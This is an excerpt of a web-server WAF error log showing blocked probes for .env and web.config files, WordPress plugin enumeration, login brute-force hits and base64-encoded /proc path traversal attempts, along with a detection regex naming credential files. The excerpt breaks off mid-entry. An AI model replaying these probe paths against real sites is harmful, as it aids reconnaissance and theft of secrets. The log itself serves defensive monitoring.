[security2:error] [pid 646876:tid 647089] [client 45.156.128.153:57218] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/wp-user-avatar/readme.txt"] [unique_id "ai3zaNyTkdrNlD40tSG3PwAAAFE"] [Sat Jun 13 18:18:48.354807 2026] [access_compat:error] [pid 646876:tid 646928] [remote 57.141.14.42:44866] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:48.355255 2026] [access_compat:error] [pid 646876:tid 646928] [remote 57.141.14.42:44866] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:48.404453 2026] [security2:error] [pid 646876:tid 647085] [client 13.140.175.37:56309] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "mirandacustomsbrokerage.com"] [uri "/"] [unique_id "ai3zaNyTkdrNlD40tSG3QwAAAE0"] [Sat Jun 13 18:18:48.525048 2026] [access_compat:error] [pid 646876:tid 646920] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9ldmVudDEvc3Vic3lzdGVtL21pY2U= [Sat Jun 13 18:18:48.525325 2026] [access_compat:error] [pid 646876:tid 646920] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9ldmVudDEvc3Vic3lzdGVtL21pY2U= [Sat Jun 13 18:18:48.528485 2026] [security2:error] [pid 648189:tid 648371] [client 185.177.72.9:30440] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/vm-docker-compose/.env"] [unique_id "ai3zaFWSojQL4F7upKBy8AAAAJc"] [Sat Jun 13 18:18:48.662405 2026] [security2:error] [pid 648189:tid 648409] [client 185.177.72.9:30440] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/vod_installer/.env"] [unique_id "ai3zaFWSojQL4F7upKBy9AAAALw"] [Sat Jun 13 18:18:48.789576 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.105:39220] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:48.789909 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.105:39220] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:48.794480 2026] [security2:error] [pid 648189:tid 648417] [client 185.177.72.9:30440] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/vue-end/vue-til/.env"] [unique_id "ai3zaFWSojQL4F7upKBy9wAAAMQ"] [Sat Jun 13 18:18:48.826915 2026] [security2:error] [pid 648189:tid 648398] [client 13.140.175.37:52215] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "mirandacustomsbrokerage.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "ai3zaFWSojQL4F7upKBy-QAAALI"] [Sat Jun 13 18:18:48.857592 2026] [security2:error] [pid 648189:tid 648263] [remote 17.241.75.152:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 152.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zaFWSojQL4F7upKBy-wAA3ik"] [Sat Jun 13 18:18:48.917069 2026] [security2:error] [pid 648189:tid 648264] [remote 216.73.216.223:32826] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3zaFWSojQL4F7upKBy_QAAjSo"] [Sat Jun 13 18:18:48.937961 2026] [security2:error] [pid 648189:tid 648434] [client 185.177.72.9:30440] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/vue/.env"] [unique_id "ai3zaFWSojQL4F7upKBy_gAAANU"] [Sat Jun 13 18:18:49.045726 2026] [access_compat:error] [pid 648189:tid 648291] [remote 57.141.14.49:33325] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:49.046067 2026] [access_compat:error] [pid 648189:tid 648291] [remote 57.141.14.49:33325] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:49.070242 2026] [security2:error] [pid 648189:tid 648357] [client 185.177.72.9:30440] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/vue/vuecli/.env"] [unique_id "ai3zaVWSojQL4F7upKBzBAAAAIk"] [Sat Jun 13 18:18:49.071250 2026] [security2:error] [pid 646876:tid 647068] [client 45.156.128.152:57834] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/wordpress-database-reset/readme.txt"] [unique_id "ai3zadyTkdrNlD40tSG3UAAAADw"] [Sat Jun 13 18:18:49.080881 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDY= [Sat Jun 13 18:18:49.081143 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDY= [Sat Jun 13 18:18:49.196723 2026] [security2:error] [pid 646876:tid 646940] [remote 17.246.15.207:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 207.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zadyTkdrNlD40tSG3VAAADj0"] [Sat Jun 13 18:18:49.203244 2026] [security2:error] [pid 648189:tid 648377] [client 185.177.72.9:30440] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/vue_CRM/.env"] [unique_id "ai3zaVWSojQL4F7upKBzCwAAAJ0"] [Sat Jun 13 18:18:49.315610 2026] [access_compat:error] [pid 648189:tid 648278] [remote 57.141.14.107:20761] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:49.316080 2026] [access_compat:error] [pid 648189:tid 648278] [remote 57.141.14.107:20761] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:49.328521 2026] [access_compat:error] [pid 648189:tid 648341] [remote 57.141.14.112:55022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:49.328983 2026] [access_compat:error] [pid 648189:tid 648341] [remote 57.141.14.112:55022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:49.334232 2026] [security2:error] [pid 648189:tid 648420] [client 185.177.72.9:30440] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/w.php"] [unique_id "ai3zaVWSojQL4F7upKBzEgAAAMc"] [Sat Jun 13 18:18:49.335443 2026] [access_compat:error] [pid 646876:tid 646960] [remote 57.141.14.18:36174] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:49.335927 2026] [access_compat:error] [pid 646876:tid 646960] [remote 57.141.14.18:36174] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:49.365666 2026] [security2:error] [pid 648189:tid 648368] [client 13.140.175.37:64920] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "mirandacustomsbrokerage.com"] [uri "/media/system/js/core.js"] [unique_id "ai3zaVWSojQL4F7upKBzFQAAAJQ"] [Sat Jun 13 18:18:49.414583 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.27:28868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:49.414986 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.27:28868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:49.608156 2026] [security2:error] [pid 648189:tid 648395] [client 185.177.72.9:30446] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/web-dist/.env"] [unique_id "ai3zaVWSojQL4F7upKBzJgAAAK8"] [Sat Jun 13 18:18:49.614200 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDYvcG93ZXI= [Sat Jun 13 18:18:49.614642 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDYvcG93ZXI= [Sat Jun 13 18:18:49.647339 2026] [access_compat:error] [pid 648189:tid 648303] [remote 57.141.14.107:20779] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:49.647610 2026] [access_compat:error] [pid 648189:tid 648303] [remote 57.141.14.107:20779] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:49.654142 2026] [security2:error] [pid 648189:tid 648400] [client 45.156.128.153:57228] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/iwp-client/readme.txt"] [unique_id "ai3zaVWSojQL4F7upKBzLAAAALQ"] [Sat Jun 13 18:18:49.745441 2026] [security2:error] [pid 648189:tid 648379] [client 185.177.72.9:30446] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/web.config"] [unique_id "ai3zaVWSojQL4F7upKBzMAAAAJ8"] [Sat Jun 13 18:18:49.798367 2026] [access_compat:error] [pid 648189:tid 648223] [remote 74.7.242.16:43536] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2N3ZA== [Sat Jun 13 18:18:49.798636 2026] [access_compat:error] [pid 648189:tid 648223] [remote 74.7.242.16:43536] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2N3ZA== [Sat Jun 13 18:18:49.867080 2026] [security2:error] [pid 646876:tid 647108] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/bug33532.phpt"] [unique_id "ai3zadyTkdrNlD40tSG3YAAAAGQ"] [Sat Jun 13 18:18:49.881513 2026] [security2:error] [pid 648189:tid 648436] [client 185.177.72.9:30446] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/web.php"] [unique_id "ai3zaVWSojQL4F7upKBzOQAAANc"] [Sat Jun 13 18:18:50.065649 2026] [access_compat:error] [pid 646876:tid 646995] [remote 57.141.14.6:61168] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:50.066094 2026] [access_compat:error] [pid 646876:tid 646995] [remote 57.141.14.6:61168] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:50.126254 2026] [access_compat:error] [pid 646876:tid 646955] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:18:50.126748 2026] [access_compat:error] [pid 646876:tid 646955] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:18:50.130104 2026] [security2:error] [pid 648189:tid 648297] [remote 209.87.149.26:60181] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai3zalWSojQL4F7upKBzPwAAtks"] [Sat Jun 13 18:18:50.214878 2026] [security2:error] [pid 648189:tid 648342] [remote 74.7.242.16:43536] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.242.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3zalWSojQL4F7upKBzQwAAl3c"], referer: https://www.homs.co.ke/?action=adminer&p=L3Byb2MvNTMxNDkwL2N3ZA== [Sat Jun 13 18:18:50.229997 2026] [security2:error] [pid 646876:tid 647036] [client 45.156.128.152:57844] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/wp-video-lightbox/readme.txt"] [unique_id "ai3zatyTkdrNlD40tSG3cAAAABw"] [Sat Jun 13 18:18:50.254502 2026] [security2:error] [pid 646876:tid 646954] [remote 168.63.79.147:48400] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 147.79.63.168.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "yassbc-org.yourkatana.com"] [uri "/wp-login.php"] [unique_id "ai3zatyTkdrNlD40tSG3cQAAVks"] [Sat Jun 13 18:18:50.284120 2026] [security2:error] [pid 646876:tid 647133] [client 185.177.72.9:30458] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Web/siteMariage/.env"] [unique_id "ai3zatyTkdrNlD40tSG3cgAAAH0"] [Sat Jun 13 18:18:50.326994 2026] [security2:error] [pid 648189:tid 648286] [remote 17.241.219.152:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 